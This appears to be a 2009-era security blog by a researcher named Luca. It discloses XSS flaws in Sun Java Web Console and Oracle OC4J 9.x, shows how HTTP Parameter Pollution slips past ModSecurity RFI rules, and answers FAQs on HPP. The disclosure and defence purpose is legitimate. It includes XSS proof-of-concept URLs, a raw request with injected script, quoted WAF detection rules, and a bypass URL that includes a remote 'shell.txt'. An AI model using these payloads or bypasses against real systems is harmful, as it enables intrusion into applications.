XSS flaws are boring!

Cross-Site Scripting flaws are quite unexciting from the technical point of view. Don't you think?

Most of the time, it is not challenging to look for XSS vulnerabilities since lot of applications do not provide input validation at all against this specific attack. In addition, the application entry points are so copious that it is like to shoot in a crowded square (well, never tried).

However, they still exist and we still have to report them.
We will probably all agree about the dangerous effects of such client side attack. We have seen several real life threats (e.g. CriticalPath Vulnerability, Twitter Worm Attack, StrongWebmail) as well as we know efficient (sufficient?) protection mechanisms (e.g. NoScript, OWASP ESAPI, Secure Coding).

Having said that, I would like to point out a couple of trivial security flaws I have discovered in the last months: (A) Sun Java Web Console Multiple Cross Site Scripting and yet another (B) Oracle Application Server 10g (v9.x) Cross Site Scripting.

(A) Just because I believe in full disclosure, let's specify the unspecified input (as reported by the vendor). Due to the lack of input filtering within the "HELP" resources, it is possible to inject JS code and trigger XSS attacks. During my audit, several attack vectors were found:

/console/faces/com_sun_web_ui/help/helpwindow.jsp
Parameters: windowTitle, helpFile, pageTitle, mastheadUrl, mastheadDescription, jspPath

/console/faces/com_sun_web_ui/help/masthead.jsp
Parameters: mastheadUrl, pageTitle

PoC example: https://IP:PORT/console/faces/com_sun_web_ui/help/helpwindow.jsp?&windowTitle=&helpFile=%22%3E%3C/FRAMESET%3E%3CFRAME%20SRC=%22javascript:alert(%27XSS%27);%22%3E%3C!--


(B) In case of OC4J, the problem is triggered with malformed requests containing invalid HTTP methods.

G<script>alert(123);</script>ET /servlet/ HTTP/1.1
Host: 127.0.0.1:5500


501 Not Implemented
Method G<script>alert(123);</script>ET is not defined in RFC 2068 and is not supported by the Servlet API

Versions 10.1.3.4.0 and likely all the 10.x releases are not vulnerable.
Oracle support for the J2EE application container 9.x ended in December 2008, according to the Oracle's Lifetime Support Policy. However, they still provide this insecure software here. From my experience, I've seen several installations of such outdated and unsupported software within corporations. As you can easily imagine, it means no patch...sad indeed.

HPP and WAF

HTTP Parameter Pollution used as a WAFs bypass technique seems to be a very favored topic. Just a few updates regarding this matter...

Lavakumar Kuppan has released his paper as well as the security advisory on how to bypass mod_sec core rules in order to exploit SQL injections in ASP/ASP.NET environment. It is worth to mention that installations using ModSecurity <= 2.5.9 with ModSecurity Core Rules <= 2.5-1.6.1 are vulnerable thus you may consider to check your systems.

A new whitepaper titled "Detecting remote file inclusion attacks" was released by Breach Security. It discusses a generic rules set that will enable protecting applications from RFI attacks. Once again, the suggested RFI rules set is vulnerable to HPP bypass.

Most of the suggested rules may be very useful in order to detect generic RFI attacks but they are just not working against HPP attacks, in specific web frameworks.

IP Address

SecRule “ARGS” “@rx (ht|f)tps?://([\d\.]+)”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:'RFI’ “

Function INCLUDE

SecRule “ARGS” “@rx \binclude\s*\([^)]*(ht|f)tps?://”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’RFI’ “

Inclusion ends with question mark

SecRule “ARGS” “@rx (ft|htt)ps?.*\?+$”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’RFI’ “

In case of ASP and ASP.NET (and other HTTP back-ends), it is still possible to inject multiple HTTP parameters containing two segments of the attack:

http://vulnerable_app/vulnerable_page?par=http://example.com/shell.txt&par=?

Resulting in "http://example.com/shell.txt,?". Since the pseudo shell filename is managed by the attacker, he/she may easily create a file named "shell.txt,". The following attack bypasses the other two rules as well.

Obviously, this is true for all different web technologies that consider multiple occurrences and concatenate those using different chars. ASP and ASP.NET are the most interesting examples of such behavior. Indeed, I understand that the suggested solution may provide a workable level of security, especially considering that PHP does not concatenate multiple parameters.

Besides WAFs stuff, it is important to remember that HPP is also about server and client side flaws. Well, in case it's not clear enough, some vulnerabilities that we are going to disclose will hopefully help to emphasize the concept.

Luca

HTTP Parameter Pollution FAQs

We have received numerous public replies as well as several private emails.
Thanks for your comments, suggestions and feedbacks.

It's now time to summarize and clarify some points.

Q: Is this a new class of exploits or just another case of applications lacking input validation?
A: Actually, HPP is an input validation flaw. As SQL Injection and XSS, we may consider it as an injection weakness. In this specific case, query string delimiters are the "dangerous" characters.

Q: You are saying that several HTTP back-ends manage multiple occurrences in different ways. In some cases, it may be abused in order to fingerprint the underline back-end. Is it right?
A: Yes, sure. However, considering the granularity available, we don't think it is really so interesting.

Q: This is a known attack. You guys presented a bunch of interesting but already known techniques to exploit different vulnerabilities.
A: Actually, we think we have contributed (in some way) to the current state-of-art showing this issue. However, even if it is currently used by "hardcore" attackers, it's very important to formalize a threat in order to mitigate the issue and create efficient workarounds. The aim of the entire research is to raise awareness around this problem. In future, we would like to include HPP within the OWASP Testing Guide in order to provide the right methodology for testing systems against HPP-like attacks as well. We strongly believe that sharing such knowledge may increase the security of all web applications.

Q: Most of your examples and findings use GET parameters. What about POST?
A: POST and COOKIE parameters may be affected as well. In slide #11 and #19, we have briefly stated that and you will see further research because it is a very interesting aspect since it gives additional flexibility for all attacks.

Q: In the current version of IE8, is the XSS Filter still vulnerable to HPP?
A: No! We had a discussion with the IE XSS Filter guy at Microsoft and turns out that the current version is NOT affected. All previous tests were done against the beta release and we didn't double check the latest one. We are sorry for this misunderstanding.

Q: Are multiple occurrences of a parameter valid according to the RFC, W3C, whatever?
A: Yes! Yes! The only thing which in fact was worth mentioning is the lack of standard in the management of multiple occurrences and NOT the presence of multiple occurrences themselves. After all, that's why it is possible to abuse the query string delimiters injection flaw.

Q: Is Yahoo! Mail still vulnerable to HPP?
A: Difficult to say. However, the specific issue was patched thus it cannot be abused by malicious users.

Q: Could you provide additional details regarding the Yahoo! Classic Mail HPP attack?
A: We've just published HERE an in-depth review of the issue with the video PoC as well.

Q: What's the right way of managing multiple occurrences? Is there a "perfect" framework?
A: No, there are no right o wrong behaviors as well as we cannot refer to a right or wrong web servers/web frameworks. The behavior of the HTTP back-ends is a matter of exploitability only.

Q: HPP is only about WAFs bypasses?
A: Absolutely not! HPP is also about applications flow manipulation, anti-CSRF, content pollution.

Q: How can I prevent HPP?
A: First of all, answer yourself "Which layer am I protecting?". Then, speaking about HPP server side, it's always important to use URL encoding whenever you do GET/POST HTTP requests to an HTTP back-end. From the client-side point of view, use URL encoding whenever you are going to include user-supplied content within links, etc.

Q: Am I vulnerable to HPP?
A: It depends on how you are managing several occurrences of the same parameter from the application point of view. Using strict input validation checkpoints and the right output filtering (URL encoding), you are likely secure (at least, against HPP).

That's all, for now.

Cheers,
Luca